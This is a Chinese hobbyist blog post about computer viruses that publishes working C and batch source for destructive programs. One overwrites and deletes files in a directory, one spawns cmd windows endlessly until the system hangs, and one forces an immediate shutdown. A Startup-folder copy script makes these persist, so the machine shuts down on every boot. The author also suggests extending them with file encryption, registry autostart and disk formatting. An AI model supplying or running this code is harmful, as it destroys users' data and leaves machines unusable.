网络攻防:关于病毒的一些东西(附带一些自己写的病毒程序)

这篇文章是突发奇想写的,因为最近突然对病毒产生了一些兴趣,因此特别写了这么一篇文章来纪念一下.
前面我会首先介绍一下什么是病毒,后面我会把一些病毒的源码发上来.
当然,我也不知道能不能称其为病毒,因此,大佬就当乐子看看就好.

一.关于病毒的介绍

按照讲课的一般惯例,首先需要百度一下关于病毒的基本知识.如图.

网络攻防:关于病毒的一些东西(附带一些自己写的病毒程序)_第1张图片
图中我们可以看出,病毒其实就是在计算机中插入的破坏计算机的恶意代码.我们姑且可以这么认为:只要是能破坏计算机正常运行的代码,都可以认为是病毒.因此,即使是用批处理脚本写一个删除文件的命令,我们都能认为是病毒,因为它对计算机造成了阻碍.

当然,上面都只是我自己的理解,也许想要称某个程序为病毒的话,可能还需要符合其他特点.
但是我认为这样理解是没有错的,因为就在写这篇文章之前,我偶然搜索到了一个"%0病毒".这个病毒特别的简单,只有一句话.
但是作用就是一直打开程序本身,最后使电脑死机.有兴趣的同学可以去csdn上面搜索一下这个病毒,挺有意思的.

正因为这么简单的代码都能称为病毒,因此我认为,我的理解应该是正确的.

二.关于病毒的分类

不敢太猜测大佬的思维,只能说说自己对于一些病毒的自己的理解.

1.按照病毒的破坏性分类

良性病毒:仅仅显示信息、奏乐、发出声响,自我复制的。除了传染时减少磁盘的可用空间外,对系统没有其它影响。
恶性病毒:封锁、干扰、中断输入输出、使用户无法打印等正常工作,甚至电脑中止运行。这类病毒在计算机系统操作中造成严重的错误。
极恶性病毒:死机、系统崩溃、删除普通程序或系统文件,破坏系统配置导致系统死机、崩溃、无法重启。 这些病毒对系统造成的危害,并不是本身的算法中存在危险的调用,而是当它们传染时会引起无法预料的和灾难性的破坏。
灾难性病毒:破坏分区表信息、主引导信息、FAT,删除数据文件,甚至格式化硬盘等。

第一个,良性病毒.简单来说,我们随手写一个程序,比如弹出一个helloword,我们也姑且认为是一个病毒,并且可以被叫做是良性病毒.
在后面我写了一个比较有意思的小程序,就可以称为良性病毒.

在说说第二个,恶性病毒.这类病毒就比较具有攻击性了,是可以对系统造成一定的威胁性的.
后面我写了两个病毒程序.效果是开启后让电脑陷入一直关机的状态.
另一个是开启以后,会在后台一直创建进程,直到死机.
都是两个比较简单的程序,但是效果比较明显.

最后一个我就不说了,因为这么nb的病毒我要是能写出来,我就不坐在这里打字了.

2.按照传染方式分类

文件型病毒:一般只传染磁盘上的可执行文件(COM,EXE)。在用户调用染毒的可执行文件时,病毒首先被运行,然后病毒驻留内存伺机传染其他文件或直接传染其他文件。其特点是附着于正常程序文件,成为程序文件的一个外壳或部件。这是较为常见的传染方式。
混合型病毒:兼有以上两种病毒的特点,既染引导区又染文件,因此扩大了这种病毒的传染途径。

这几点没啥好说的,只要识字的人知道啥意思.

3.比较出名病毒

这个我懒得打字了.直接上截图
网络攻防:关于病毒的一些东西(附带一些自己写的病毒程序)_第2张图片

4.需要注意的一些地方

要理解木马,病毒,漏洞是不同的三种东西.我一开始也并不知道这三种东西有什么区别,后来百度了才知道.

先说说木马.木马和病毒是不同的,不能认为是同一种东西.
木马主要是黑客用来对你的电脑留后门的,比如远程在你的电脑后台创建一个账户,这就是一种留后门的方法.

其次是病毒.这个就是对你的电脑造成破坏的程序了.比如之前很出名的勒索病毒,原理就是对文件进行一个加密.
这也是对文件的一种感染.只要你懂这个原理,甚至自己写一个加密文件的程序,都可以叫做"小菜鸡做的勒索病毒".(这种话只能说说看,你别真这么叫,因为真正的勒索病毒是很复杂的,利用了一个叫做永恒之蓝的漏洞)

最后一个就是漏洞,这个就是另外一种东西了.你的windows一直在更新,原因就是在修复很多漏洞.比如c语言程序里面就有一个漏洞叫做"数组越界".
这个漏洞产生的原因,就是因为最早发明c语言的时候,为了节省检查数组的内存,因此对数组的边界没有一个严格的限制,才产生了这个漏洞.
还有一个叫做缓冲区溢出的漏洞,这个漏洞被用的比较广泛,是很多黑客都会用使用的一个漏洞.
(这个漏洞,说实话我感觉和数组越界的原理差不多.以前在做ctf里面的pwn题的时候明显能感觉到.)

三.一些病毒的源码

1.教学病毒

这个病毒实现了一些基础的病毒该有的功能,比如感染文件,删除文件,制造垃圾文等作用,非常适合用来学习病毒.
当然,这个是借鉴了其他csdn大佬的程序,并不是我写的.

首先先说一下这个病毒的基本作用.
1.感染文件
病毒会将某个目录下的文件进行感染,下面两张图是感染前后的对比.
网络攻防:关于病毒的一些东西(附带一些自己写的病毒程序)_第3张图片
网络攻防:关于病毒的一些东西(附带一些自己写的病毒程序)_第4张图片
可以看到,文件内容发生了变化.
2.制造垃圾文件
程序运行以后,会在某个目录下生成一些系统的临时文件.这个病毒仅仅生成了一个.
在这里插入图片描述
在这里插入图片描述
这两种文件都是病毒程序生成的,只不过原理不同,一会儿我会讲怎么实现.
3.删除文件
顾名思义,删除某个目录下特定的文件,比如以.txt结尾的文件.

运行病毒的程序之前步骤

这个病毒是感染特定目录下的文件,因此需要提前创建一个目录,并且在这个目录下创建一些文件.
网络攻防:关于病毒的一些东西(附带一些自己写的病毒程序)_第5张图片
创建一个文件夹,我的文件夹是virus.然后在这个文件夹下创建两个文件,文件名如图.E_KILL.c是当病毒感染文件以后的文件内容.
在E_KILL.c文件中写入以下代码.

#include
#include

int main(void)
{
     
    printf("It is virus\n");
    system("pause");
    return 0;
}

另一个viruse.c就是我们病毒的源码了.这个一会儿再说.
接着就是temp文件夹了,这个文件夹就是要被感染的目标文件夹,按照如图创建.
网络攻防:关于病毒的一些东西(附带一些自己写的病毒程序)_第6张图片
s.txt和a.docx是两个空的文件,另外两个文件写入以下内容:

#include
#include

int main(void)
{
     
    printf("TEST\n");
    printf("TEST\n");
    printf("TEST\n");
    printf("TEST\n");
    printf("TEST\n");
    system("pause");
    return 0;
}

好了,准备工作就做完了,接下来就是讲解关于病毒源码的讲解了.

病毒源码

关于源码的讲解,我直接就以注释的方式写在代码里面了.好好看,好好学.

#include
#include
#include
#include
#include
#include 

#define INFECT_PATH "F:\\20年 上\\网络安全\\讲课-病毒\\virus\\temp"
#define DELETE_FILE1 "F:\\20年 上\\网络安全\\讲课-病毒\\virus\\temp\\*.txt"
#define DELETE_FILE2 "F:\\20年 上\\网络安全\\讲课-病毒\\virus\\temp\\*.docx"
#define CREAT_EXE1 "F:\\20年 上\\网络安全\\讲课-病毒\\virus\\temp\\worm.exe"
#define CREAT_EXE2 "F:\\20年 上\\网络安全\\讲课-病毒\\virus\\temp\\virus.exe"
#define Targetfile "F:\\20年 上\\网络安全\\讲课-病毒\\virus\\temp\\*.c"
#define Virusfile "F:\\20年 上\\网络安全\\讲课-病毒\\virus\\E_KILL.c"
//使用了很多宏定义.这些都是后面会用得到的,需要改成你自己的文件路径,记得用两个斜杠做分隔符.
void MakeRubbish(void);
void CreatEXE(void);
void Remove(void);
void InfectFile(void);
void copyfile(char* infile,char *outfile);
//函数声明

void MakeRubbish(void)
{
     
    int i=0;
    FILE *fp=NULL;
    char* path=NULL;
    char* NewName=NULL;
    char tempname[]="XXXXXX";
//这个是生成临时文件的文件名,几个×就代表几个随机字符.
    path=INFECT_PATH;   

    if(!_chdir(path))
    {
     
        printf("open DIR success\n");
    }
    else
    {
     
        printf("open DIR failed\n");
        perror("Error: ");
    }
//_chdir函数用于改变当前工作目录,将当前工作目录改成了宏定义的目录
    NewName=_mktemp(tempname);
    fp=fopen(NewName,"w");
    fclose(fp);
//创建临时文件
}

void CreatEXE(void)
{
     
    int i;
    char* s[2]={
     CREAT_EXE1,CREAT_EXE2};
    for(i=0;i<2;i++)
    {
     
        open(s[i],0x0100,0x0080);
        //创建垃圾程序,open第二个参数是创建并且打开文件,第三个参数是写入的意思
        copyfile(Virusfile,s[i]);
        //将开始那个E_KILL文件内容复制到新创建的exe文件当中.
    }
}

void Remove(void)
{
     
    int done;
    int i;

    struct _finddata_t ffblk;
    char *documenttype[2] = {
     DELETE_FILE1,DELETE_FILE2}; 
    for (i = 0; i < 2; i++)
    {
     
        done = _findfirst(documenttype[i],&ffblk);
        if(done!=-1)
        {
     
            printf("delete %s\n",ffblk.name);
            remove(ffblk.name);                             
            while (!_findnext(done,&ffblk))
            {
     
                printf("delete %s\n",ffblk.name);
                remove(ffblk.name);                         
            }
        }
        _findclose(done);
    }
    //这个原理比较简单,就是进行了一个查找,然后删除.就不赘述了.
}


void copyfile(char* infile,char* outfile)
{
     
    FILE *in,*out;
    in=fopen(infile,"r");
    out=fopen(outfile,"w");
    while(!feof(in))
    {
     
        fputc(fgetc(in),out);
    }
    fclose(in);
    fclose(out);
}
//感染文件子函数
void InfectFile(void)
{
     
    int done;
    int i;

    struct _finddata_t ffblk;
    char *documenttype = Targetfile;

    done = _findfirst(documenttype,&ffblk);
    copyfile(Virusfile,ffblk.name);
    while (!_findnext(done,&ffblk))
    {
     
        copyfile(Virusfile,ffblk.name); //感染
    }
    _findclose(done);
}
//对文件进行感染,原理其实就是将病毒文件进行复制即可.

/*This is a flag:end*/
int main(void)
{
     
    MakeRubbish( );
    CreatEXE( );
    Remove( );
    InfectFile( );
    system("pause");
    return 0;
}
//主程序

运行的时候记得用管理员身份打开.

程序大概就是这样.其实很多病毒的雏形就是这个.
比如可以对这个源码进行修改,将一个死循环加到创建垃圾文件,那么效果就是一直创建垃圾文件,直到电脑内存被全部占满.
在比如,可以将单纯的复制文件改为对文件进行rsa加密,这样会比摧毁文件更让人头疼.

运行结果

网络攻防:关于病毒的一些东西(附带一些自己写的病毒程序)_第7张图片
可以看到,文件夹中被创建了一个叫做a14192的临时文件,这个就是我们的功能之一.
接着打开e.c,可以看到文件已经变成了如图所示的内容.
网络攻防:关于病毒的一些东西(附带一些自己写的病毒程序)_第8张图片
由此可见,我们的文件已经被成功感染.
当然,这个病毒是非常简单的一种,你可以对功能进行一些扩充,比如写入注册表设置自启动,比如格式化某个硬盘…等等等等,这个就看你了.

2.一些我自己写的病毒

姑且先叫做是病毒吧,因为也是对电脑造成了阻碍.我的靶机都是win2003,别的机器可能出不来效果.

1>永恒之绿

这个名字是我突然想起来有个叫"永恒之蓝"的漏洞,于是我也给这个病毒起了个这个名字.先看看效果.
网络攻防:关于病毒的一些东西(附带一些自己写的病毒程序)_第9张图片
这个病毒运行以后,会一直在屏幕上刷新绿色的0和1.
怎么样?是不是看着比较有意思?
这个程序并没有什么危害性,调出任务管理器就可以关掉.不过我还在后面写了一个批处理脚本,代码如下:

@echo off
copy virus_fake.exe "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动"

这个脚本执行以后,会将病毒程序加载到启动项,每次开机都会运行这个程序.
当然,记得要把第二行copy后面的文件名改成你病毒程序的文件名才可以.

接下来就是病毒的源码.

#include 
int main(){
     
    system("color 0a");
    //调用一个cmd命令,将文字颜色调成绿色,背景调成黑色
    while(1){
     
        printf("01011010101001010");
        //使用一个死循环,循环在屏幕上打印0和1
    }
}

如图,要将exe和bat放到一个位置.
网络攻防:关于病毒的一些东西(附带一些自己写的病毒程序)_第10张图片
如果直接运行程序,是只会在一个窗口执行.
网络攻防:关于病毒的一些东西(附带一些自己写的病毒程序)_第11张图片
我们还需要右键这个程序,然后设置属性和默认值为全屏才可以出现开始那个效果.
网络攻防:关于病毒的一些东西(附带一些自己写的病毒程序)_第12张图片
这就是第一个病毒程序,永恒之绿.就是一个花里胡哨的小程序,只能用来吓唬人,其实并没有什么太厉害的地方.
不过第二个就比较厉害了,会无止境的消耗系统资源.

2>不知道该叫啥,就叫死机病毒吧

运行结果如图:
网络攻防:关于病毒的一些东西(附带一些自己写的病毒程序)_第13张图片
此刻我的虚拟机已经死机了,只能重启.
网络攻防:关于病毒的一些东西(附带一些自己写的病毒程序)_第14张图片
这个病毒的原理就是一直在打开cmd界面,最后系统资源耗尽,然后死机.这次我打开性能监视器,如图.
网络攻防:关于病毒的一些东西(附带一些自己写的病毒程序)_第15张图片
短短几秒钟,进程就达到了500多个.如果在加上上面的那个开机自启动脚本,想想看,后果是不是很可怕?
直接上源码.

#include 
int main(){
     
    while(1)
    system("start cmd");
    //我写了一个死循环,然后执行cmd命令.这个命令就是打开cmd窗口,为什么要加start呢?这个可以百度一下为什么.
    return 0;
}

代码很简单,但是效果还是很猛的.这个的原理和%0病毒是相似的.

3>病毒之重启

这个名字是我看了盗墓笔记重启以后想到的,干脆就拿来用了.
重启是真的重启,运行以后会让电脑直接关机.如果配合上自启动脚本,效果就是开机就关机,开机就关机,开机就…
威力还是比较可观的.截图我就不上了,直接放代码.

#include 
int main(){
     
    system("shutdown -s -t 0");
    //调用cmd命令,-s是关机的意思,-t 0 是设置0秒以后关机的意思
    return 0;
}

首先,运行病毒1里面的自启动脚本(记得改文件名),然后关机,在开机,病毒就开始执行了.

最后这个病毒是威力最大的一个,因为你连机都开不了,谈何删除病毒?
当然,你可以进入安全模式进行删除,而那些不懂这些的人可就遭了殃了.
上面三个其实可以直接在病毒程序中添加自启动命令的,但是我的编译器一编译就会自动执行程序,因此我写成了两个,不然自己的病毒把自己感染了就出大事了.

4>额外补充的一些事情

上面发的三个病毒其实都是小打小闹,真正厉害的是一些比如熊猫烧香之类的病毒.
当然,那些大佬对于我来说都是目不可及的.
曾经有幸见过一个大佬写的"金猪报喜"病毒,原理和熊猫烧香类似,用的是c++写的.如果说以后有机会的话,我会写一个这样的病毒发上来给大家看看.

三.总结

关于病毒的基本原理,大概就是这样.如果各位还有什么要补充的话可以放在评论区里.
上面的三个病毒只能算是特别小的病毒,一些更厉害的病毒可以去看看其他csdn大佬写的东西,比如隐藏进程之类的功能.就这样吧,不多说了.有兴趣可以加我qq:1392969921

你可能感兴趣的:(网络攻防,c语言)